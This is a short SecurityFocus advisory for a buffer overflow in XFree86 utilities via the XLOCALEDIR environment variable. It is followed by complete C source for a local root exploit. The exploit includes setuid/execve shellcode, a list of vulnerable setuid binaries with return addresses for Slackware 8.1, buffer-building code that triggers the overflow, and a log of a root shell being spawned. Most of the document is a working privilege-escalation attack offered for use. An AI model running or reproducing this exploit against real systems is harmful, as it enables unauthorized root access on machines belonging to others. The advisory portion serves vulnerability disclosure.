// source: https://www.securityfocus.com/bid/7002/info
Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment variable.
A local attacker can exploit this vulnerability by setting the XLOCALEDIR environment variable to an overly long value. When the vulnerable utilities are executed, the buffer overflow vulnerability will be triggered.
/****
***
** oC-localX.c - XFree86 Version 4.2.x local root exploit
** By dcryptr && tarranta / oC
***
** Tested against: Slackware 8.1
***
** This bug was found by tarranta and dcryptr 3 january 2003.
** Its a strcpy in the xf86 libraries that we exploit, using
** the bug to get the root privileges. If you put to much data
** in the XLOCALEDIR environment variable all programs using this
** library will cause a segmnetation fault. Some wierd reason makes
** the program not execute the first 8 bytes of the shellcode.
***
** Demonstration - here we use xlock as the target
** ----------------------------------------------
** martin@gDeU56:~$ ls -l /usr/X11R6/bin/xlock
** -rws--x--x 1 root bin 2193628 May 30 2002 /usr/X11R6/bin/xlock
** export XLOCALEDIR=`perl -e 'print "A" x 6000'`
** martin@gDeU56:~$ xlock
** Segmentation fault
** eip 0x41414141 0x41414141
**
** Exploitation:
** martin@gDeU56:~$ ./oC-XFree86-4.2.0 -t 2
** --- XFree86 Version 4.2.0 / X Window System - local root exploit ---
** [+] by: dcryptr && tarranta
** [+] oC-2003 - http://crionized.net/
** [+] attacking: /usr/X11R6/bin/xlock
** [+] using ret: 0xbfffe86d
** [+] spawning root shell!!!!
** sh-2.05a# id;uname -a
** uid=0(root) gid=0(root) groups=100(users)
** Linux gDeU56 2.4.18 #4 Fri May 31 01:25:31 PDT 2002 i686 unknown
***
** Remember that there is more than one suid file using this lib.
** /usr/X11R6/bin/xterm
** /usr/X11R6/bin/xscreensaver
***
** This may be vulnerable in other distros!!!
** We are currently making out new targets. look on our page
** for the newest version!
***
** (C) COPYRIGHT oC 2003
** All Rights Reserved
*******************************************************************************************************
** GREETS: dgram, lonely_, upstream, evilrip
***
****/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/errno.h>
#define VERSION "0.9"
/* 57 bytes shellcode by dcryptr */
static char shellcode[] =
/* setuid(0); (ignored) */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */
/* setuid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */
/* setgid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x2e" /* mov $0x2e,%al */
"\xcd\x80" /* int $0x80 */
/* /bin/sh execve(); */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80" /* int $0x80 */
/* exit(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x01" /* mov $0x01,%al */
"\xcd\x80"; /* int $0x80 */
struct target {
int index;
char *distro;
char *dest;
char *name;
u_long retaddr;
int LEN;
};
/*
* There is like 200+ binaries that segfaults to this
* vuln but they are not suids. this is all the suids
* I found. Soundtracker is a music tracker that I am
* using and its vuln to.
*/
struct target exploit[] = {
{ 1, "Slackware 8.1 -", "/usr/X11R6/bin/xterm",
"xterm", 0xbfffe86d, 6000 },
{ 2, "Slackware 8.1 -", "/usr/X11R6/bin/xlock",
"xlock", 0xbfffe86d, 6000 },
{ 3, "Slackware 8.1 -", "/usr/X11R6/bin/xscreensaver",
"xscreensaver", 0xbfffe86e, 6000 },
{ 0, NULL, NULL, NULL, 0, 0 }
};
void usage(char *cmd);
int main(int argc, char **argv)
{
int i;
int type;
int size;
int options;
long retaddr;
char buffer[6000];
if(argc == 1) {
usage(argv[0]);
exit(0);
}
/* options of this exploit */
while((options = getopt(argc, argv, "ht:")) != EOF) {
switch(options) {
case 'h':
usage(argv[0]);
exit(0);
case 't':
type = atoi(optarg);
if (type > 3 || type < 0) {
printf("Out of range!!\n");
exit(0);
}
if (type == 0) {
usage(argv[0]);
printf("num . description\n"
"----+----------------------------------------\n");
for (i = 0; exploit[i].dest; i++)
fprintf(stderr, "[%d] | %s %s\n", exploit[i].index, exploit[i].distro, exploit[i].dest);
exit(1);
}
break;
default:
usage(argv[0]);
exit(0);
}
}
size = exploit[type-1].LEN;
retaddr = exploit[type-1].retaddr;
fprintf(stderr, "\n--- oC-localX "VERSION" - XFree86 Version 4.2.0 local root exploit ---\n"
"[+] by: dcryptr && tarranta\n"
"[+] oC-2003 - http://crionized.net/\n"
"[+] attacking: %s\n"
"[+] using ret: 0x%8lx\n"
"[+] spawning shell!!!!\n", exploit[type-1].dest, retaddr);
for (i = 0; i < size; i += 4)
*(long *)&buffer[i] = retaddr;
memcpy(buffer + 1, shellcode, strlen(shellcode));
setenv("XLOCALEDIR", buffer, 1); /* seting env variable */
if ( (execl(exploit[type-1].dest, exploit[type-1].name, NULL)) == -1) {
fprintf(stderr, "Try another target, you scriptkid!\n\n");
exit(-1);
}
return(0);
}
void usage(char *cmd)
{
fprintf(stderr, "\n--- oC-localX "VERSION" - XFree86 Version 4.2.0 local root exploit ---\n"
"by dcryptr && tarranta\n"
"oC-2003 - http://crionized.net/\n\n"
"usage: %s [-h] [-t <num>]\n"
"__options\n"
" -h\t- this help\n"
" -t num\t- choose target (0 for list)\n\n", cmd);
}